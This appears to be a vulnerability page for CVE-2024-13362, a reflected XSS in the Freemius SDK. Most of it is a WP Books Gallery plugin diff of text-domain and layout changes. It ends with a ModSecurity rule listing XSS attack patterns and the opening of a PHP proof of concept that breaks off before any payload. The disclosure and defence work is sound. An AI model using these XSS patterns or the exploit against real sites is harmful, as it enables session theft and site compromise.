@@ -251,6 +251,14 @@
 ?>">
             </td>
         </tr>
+        <tr>
+            <td colspan="4">
+                <b><?php
+_e( 'Book Info', 'wp-books-gallery' );
+?> ::</b>
+            </td>
+        </tr>
+        <!-- Display Category -->
         <tr class="wbg_display_category">
             <th scope="row">
                 <label for="wbg_display_category"><?php
@@ -390,6 +398,55 @@
 ?>">
             </td>
         </tr>
+        <!-- Publisher -->
+        <tr>
+            <th scope="row">
+                <label for="wbg_display_publisher_gallery"><?php
+_e( 'Display Publisher', 'wp-books-gallery' );
+?>?</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row">
+                <label><?php
+_e( 'Publisher Label Text', 'wp-books-gallery' );
+?>:</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+        </tr>
+        <!-- Format -->
+        <tr>
+            <th scope="row">
+                <label for="wbg_gallery_hide_format"><?php
+_e( 'Hide Format', 'wp-books-gallery' );
+?>?</label>
+            </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+        </tr>
+        <tr><td colspan="4"> </td></tr>
         <tr class="wbg_display_buynow">
             <th scope="row">
                 <label for="wbg_display_buynow"><?php
@@ -458,21 +515,38 @@
 echo ( $wbg_display_total_books ? 'checked' : '' );
 ?> >
             </td>
+        </tr>
+        <tr>
             <th scope="row">
                 <label for="wbg_display_sorting"><?php
 _e( 'Display Front Sorting', 'wp-books-gallery' );
 ?>?</label>
             </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
+            <th scope="row">
+                <label for="wbg_gallery_sorting_options"><?php
+_e( 'Sorting Options', 'wp-books-gallery' );
+?>?</label>
+            </th>
             <td colspan="3">
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
         </tr>
+        <!-- Books Per Page -->
         <tr>
             <th scope="row">
                 <label><?php
@@ -573,7 +647,7 @@
         <tr class="wbg_publish_date_format">
             <th scope="row" style="text-align: right;">
                 <label for="wbg_publish_date_format"><?php
-_e( 'Publish Date Format', WBG_TXT_DOMAIN );
+_e( 'Publish Date Format', 'wp-books-gallery' );
 ?>:</label>
             </th>
             <td>
@@ -581,14 +655,14 @@
 echo ( 'year' !== $wbg_publish_date_format ? 'checked' : '' );
 ?> >
                 <label for="wbg_publish_date_format_full"><span></span><?php
-_e( 'Full', WBG_TXT_DOMAIN );
+_e( 'Full', 'wp-books-gallery' );
 ?></label>
                       
                 <input type="radio" name="wbg_publish_date_format" id="wbg_publish_date_format_year" value="year" <?php
 echo ( 'year' === $wbg_publish_date_format ? 'checked' : '' );
 ?> >
                 <label for="wbg_publish_date_format_year"><span></span><?php
-_e( 'Only Year', WBG_TXT_DOMAIN );
+_e( 'Only Year', 'wp-books-gallery' );
 ?></label>
             </td>
         </tr>
--- a/wp-books-gallery/admin/view/partial/gallery-styles.php
+++ b/wp-books-gallery/admin/view/partial/gallery-styles.php
@@ -17,16 +17,16 @@
     <table class="wbg-general-style-settings-table">
         <!-- Parent Container -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Container', WBG_TXT_DOMAIN );
+_e( 'Container', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Border Color', WBG_TXT_DOMAIN );
+_e( 'Border Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -37,10 +37,10 @@
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Width', WBG_TXT_DOMAIN );
+_e( 'Width', 'wp-books-gallery' );
 ?></label>
             </th>
-            <td colspan="3">
+            <td>
                 <input type="number" min="40" max="2000" step="1" name="wbg_container_width" value="<?php
 esc_attr_e( $wbg_container_width );
 ?>">
@@ -57,11 +57,9 @@
 ?></option>
                 </select>
             </td>
-        </tr>
-        <tr>
             <th scope="row">
                 <label><?php
-_e( 'Margin Top', WBG_TXT_DOMAIN );
+_e( 'Margin Top', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -70,9 +68,11 @@
 ?>">
                 <code>px</code>
             </td>
+        </tr>
+        <tr>
             <th scope="row">
                 <label><?php
-_e( 'Margin Bottom', WBG_TXT_DOMAIN );
+_e( 'Margin Bottom', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -81,11 +81,9 @@
 ?>">
                 <code>px</code>
             </td>
-        </tr>
-        <tr>
             <th scope="row">
                 <label><?php
-_e( 'Padding', WBG_TXT_DOMAIN );
+_e( 'Padding', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -96,7 +94,7 @@
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Border Radius', WBG_TXT_DOMAIN );
+_e( 'Border Radius', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -109,7 +107,7 @@
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -121,16 +119,16 @@
         </tr>
         <!-- Book Item -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Book Item', WBG_TXT_DOMAIN );
+_e( 'Book Item', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label for="wbg_loop_book_border_color"><?php
-_e( 'Border Color', WBG_TXT_DOMAIN );
+_e( 'Border Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -141,7 +139,7 @@
             </td>
             <th scope="row">
                 <label for="wbg_loop_book_bg_color"><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -150,18 +148,16 @@
 ?>">
                 <div id="colorpicker"></div>
             </td>
-        </tr>
-        <tr>
             <th scope="row">
                 <label for="wbg_hide_hover_shadow"><?php
-_e( 'Hide Hover Shadow', WBG_TXT_DOMAIN );
+_e( 'Hide Hover Shadow', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -169,16 +165,16 @@
         </tr>
         <!-- Title -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Title', WBG_TXT_DOMAIN );
+_e( 'Title', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr class="wbg_title_color">
             <th scope="row">
                 <label for="wbg_title_color"><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -189,7 +185,7 @@
             </td>
             <th scope="row">
                 <label for="wbg_title_hover_color"><?php
-_e( 'Hover Color', WBG_TXT_DOMAIN );
+_e( 'Hover Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -198,11 +194,9 @@
 ?>">
                 <div id="colorpicker"></div>
             </td>
-        </tr>
-        <tr class="wbg_title_font_size">
             <th scope="row">
                 <label for="wbg_title_font_size"><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -214,16 +208,16 @@
         </tr>
         <!-- Description -->
         <tr>
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Description', WBG_TXT_DOMAIN );
+_e( 'Description', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr">
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -234,7 +228,7 @@
             </td>
             <th scope="row">
                 <label for="wbg_description_font_size"><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -246,37 +240,37 @@
         </tr>
         <!-- Format -->
         <tr>
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Format', WBG_TXT_DOMAIN );
+_e( 'Format', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -284,37 +278,37 @@
         </tr>
         <!-- Category -->
         <tr>
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Category', WBG_TXT_DOMAIN );
+_e( 'Category', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -322,37 +316,37 @@
         </tr>
         <!-- Author -->
         <tr>
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Author', WBG_TXT_DOMAIN );
+_e( 'Author', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -360,53 +354,51 @@
         </tr>
         <!-- Price -->
         <tr>
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Price', WBG_TXT_DOMAIN );
+_e( 'Price', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Before Discount Color', WBG_TXT_DOMAIN );
+_e( 'Before Discount Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
-        </tr>
-        <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -414,16 +406,16 @@
         </tr>
         <!-- Download Button -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Download Button', WBG_TXT_DOMAIN );
+_e( 'Download Button', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr class="wbg_download_btn_color">
             <th scope="row">
                 <label for="wbg_download_btn_color"><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -434,7 +426,7 @@
             </td>
             <th scope="row">
                 <label for="wbg_download_btn_font_color"><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -443,18 +435,16 @@
 ?>">
                 <div id="colorpicker"></div>
             </td>
-        </tr>
-        <tr>
             <th scope="row">
                 <label><?php
-_e( 'Font Size', WBG_TXT_DOMAIN );
+_e( 'Font Size', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -462,16 +452,16 @@
         </tr>
         <!-- Download Button Hover -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Download Button Hover', WBG_TXT_DOMAIN );
+_e( 'Download Button Hover', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label for="wbg_download_btn_color_hvr"><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -482,7 +472,7 @@
             </td>
             <th scope="row">
                 <label for="wbg_download_btn_font_color_hvr"><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
@@ -494,113 +484,125 @@
         </tr>
         <!-- Pagination -->
         <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
+            <th scope="row" colspan="6" style="text-align: left;">
                 <hr><label><?php
-_e( 'Pagination', WBG_TXT_DOMAIN );
+_e( 'Pagination', 'wp-books-gallery' );
 ?></label><hr>
             </th>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
-        </tr>
-        <!-- Pagination Hover -->
-        <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
-                <hr><label><?php
-_e( 'Pagination Hover', WBG_TXT_DOMAIN );
-?></label><hr>
+            <th scope="row">
+                <label><?php
+_e( 'Font Size', 'wp-books-gallery' );
+?></label>
             </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Hover Background Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Hover Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
-        </tr>
-        <!-- Pagination Active -->
-        <tr class="wbg_download_btn">
-            <th scope="row" colspan="4" style="text-align: left;">
-                <hr><label><?php
-_e( 'Pagination Active', WBG_TXT_DOMAIN );
-?></label><hr>
+            <th scope="row">
+                <label><?php
+_e( 'Active Background Color', 'wp-books-gallery' );
+?></label>
             </th>
+            <td>
+                <?php
+?>
+                    <span><?php
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
+?></span>
+                    <?php
+?>
+            </td>
         </tr>
         <tr>
             <th scope="row">
                 <label><?php
-_e( 'Background Color', WBG_TXT_DOMAIN );
+_e( 'Active Font Color', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
             </td>
             <th scope="row">
                 <label><?php
-_e( 'Font Color', WBG_TXT_DOMAIN );
+_e( 'Border Radius', 'wp-books-gallery' );
 ?></label>
             </th>
             <td>
                 <?php
 ?>
                     <span><?php
-echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', WBG_TXT_DOMAIN ) . '</a>';
+echo '<a href="' . wbg_fs()->get_upgrade_url() . '">' . __( 'Upgrade to Professional!', 'wp-books-gallery' ) . '</a>';
 ?></span>
                     <?php
 ?>
@@ -615,7 +617,7 @@
     <p class="submit">
         <button id="updateGalleryStylesSettings" name="updateGalleryStylesSettings" class="button button-primary wbg-button">
             <i class="fa fa-check-circle" aria-hidden="true"></i> <?php
-_e( 'Save Settings', WBG_TXT_DOMAIN );
+_e( 'Save Settings', 'wp-books-gallery' );
 ?>
         </button>
     </p>
--- a/wp-books-gallery/admin/view/partial/search-content.php
+++ b/wp-books-gallery/admin/view/partial/search-content.php
@@ -18,7 +18,7 @@
         <tr class="wbg_display_search_panel">
             <th scope="row" style="text-align: right;">
                 <label for="wbg_display_search_panel"><?php
-_e( 'Display Search Panel', WBG_TXT_DOMAIN );
+_e( 'Display Search Panel', 'wp-books-gallery' );
 ?>?</label>
             </th>
             <td>
@@ -30,7 +30,7 @@
         <tr>
             <th scope="row" colspan="6" style="text-align: left;">
                 <hr><span> <?php
-_e( 'Search Items', WBG_TXT_DOMAIN );
+_e( 'Search Items', 'wp-books-gallery' );
 ?></span><hr>
             </th>
         </tr>
@@ -43,7 +43,7 @@
                 <tr class="wbg_list_item" id="wbg_search_sort_items_title">
                     <th scope="row" style="text-align: right;">
                         <label for="wbg_display_search_title"><?php
-        _e( 'Display Book Name', WBG_TXT_DOMAIN );
+        _e( 'Display Book Name', 'wp-books-gallery' );
         ?>?</label>
                     </th>
                     <td>
@@ -53,12 +53,12 @@
                     </td>
                     <th style="text-align: right;">
                         <label for="wbg_display_search_title_placeholder"><?php
-        _e( 'Placeholder Text', WBG_TXT_DOMAIN );
+        _e( 'Placeholder Text', 'wp-books-gallery' );
         ?>:</label>
                     </th>
                     <td>
                         <input type="text" name="wbg_display_search_title_placeholder" placeholder="<?php
-        _e( 'Book Name', WBG_TXT_DOMAIN );
+        _e( 'Book Name', 'wp-books-gallery' );
         ?>" class="medium-text" value="<?php
         esc_attr_e( $wbg_display_search_title_placeholder );
         ?>">
@@ -72,7 +72,7 @@
                 <tr class="wbg_list_item" id="wbg_search_sort_items_isbn">
                     <th scope="row" style="text-align: right;">
                         <label for="wbg_display_search_isbn"><?php
-        _e( 'Display ISBN', WBG_TXT_DOMAIN );
+        _e( 'Display ISBN', 'wp-books-gallery' );
         ?>?</label>
                     </th>
                     <td>
@@ -82,12 +82,12 @@
                     </td>
                     <th style="text-align: right;">
                         <label for="wbg_display_search_isbn_placeholder"><?php
-        _e( 'Placeholder Text', WBG_TXT_DOMAIN );
+        _e( 'Placeholder Text', 'wp-books-gallery' );
         ?>:</label>
                     </th>
                     <td>
                         <input type="text" name="wbg_display_search_isbn_placeholder" placeholder="<?php
-        _e( 'ISBN', WBG_TXT_DOMAIN );
+        _e( 'ISBN', 'wp-books-gallery' );
         ?>" class="medium-text" value="<?php
         esc_attr_e( $wbg_display_search_isbn_placeholder );
         ?>">
@@ -101,7 +101,7 @@
                 <tr class="wbg_list_item" id="wbg_search_sort_items_category">
                     <th scope="row" style="text-align: right;">
                         <label for="wbg_display_search_category"><?php
-        _e( 'Display Category', WBG_TXT_DOMAIN );
+        _e( 'Display Category', 'wp-books-gallery' );
         ?>?</label>
                     </th>
                     <td>
@@ -111,7 +111,7 @@
                     </td>
                     <th style="text-align: right;">
                         <label for="wbg_display_category_order"><?php
-        _e( 'Order By', WBG_TXT_DOMAIN );
+        _e( 'Order By', 'wp-books-gallery' );
         ?>:</label>
                     </th>
                     <td>
@@ -119,24 +119,24 @@
         echo ( 'desc' !== $wbg_display_category_order ? 'checked' : '' );
         ?> >
                         <label for="wbg_display_category_order_asc"><span></span><?php
-        _e( 'Ascending', WBG_TXT_DOMAIN );
+        _e( 'Ascending', 'wp-books-gallery' );
         ?></label>
                               
                         <input type="radio" name="wbg_display_category_order" class="wbg_display_category_order" id="wbg_display_category_order_desc" value="desc" <?php
         echo ( 'desc' === $wbg_display_category_order ? 'checked' : '' );
         ?> >
                         <label for="wbg_display_category_order_desc"><span></span><?php
-        _e( 'Descending', WBG_TXT_DOMAIN );
+        _e( 'Descending', 'wp-books-gallery' );
         ?></label>
                     </td>
                     <th>
                         <label for="wbg_search_category_default"><?php
-        _e( 'Default Option', WBG_TXT_DOMAIN );
+        _e( 'Default Option', 'wp-books-gallery' );
         ?>:</label>
                     </th>
                     <td>
                         <input type="text" name="wbg_search_category_default" placeholder="<?php
-        _e( 'All Categories', WBG_TXT_DOMAIN );
+        _e( 'All Categories', 'wp-books-gallery' );
         ?>" class="medium-text" value="<?php
         echo esc_attr( $wbg_search_category_default );
         ?>">
@@ -150,7 +150,7 @@
                 <tr class="wbg_list_item" id="wbg_search_sort_items_year">
                     <th scope="row" style="text-align: right;">
                         <label for="wbg_display_search_year"><?php
-        _e( 'Display Year', WBG_TXT_DOMAIN );
+        _e( 'Display Year', 'wp-books-gallery' );
         ?>?</label>
                     </th>
                     <td>
@@ -160,7 +160,7 @@
                     </td>
                     <th style="text-align: right;">
                         <label for="wbg_display_year_order"><?php
-        _e( 'Order By', WBG_TXT_DOMAIN );
+        _e( 'Order By', 'wp-books-gallery' );
         ?>:</label>
                     </th>
                     <td>
@@ -168,24 +168,24 @@
         echo ( 'desc' !== $wbg_display_year_order ? 'checked' : '' );
         ?> >
                         <label for="wbg_display_year_order_asc"><span></span><?php
-        _e( 'Ascending', WBG_TXT_DOMAIN );
+        _e( 'Ascending', 'wp-books-gallery' );
         ?></label>
                               
                 

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2024-13362
# Targets XSS via url parameter in Freemius SDK connect page

SecRule REQUEST_URI "@rx /wp-admin/admin.php" 
  "id:20260001,phase:2,deny,status:403,chain,msg:'CVE-2024-13362 XSS attempt via url parameter',severity:'CRITICAL',tag:'CVE-2024-13362'"
  SecRule ARGS:url "@rx <script|<img|<svg|alert(|onerror=|onload=|javascript:" 
    "chain"
    SecRule REQUEST_METHOD "@streq GET" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2024-13362 - Freemius <= 2.10.1 - Reflected DOM-Based Cross-Site Scripting via url Parameter

<?php

// Configuration
$target_url = 'http://localhost/wordpress'; // Change to your target base URL
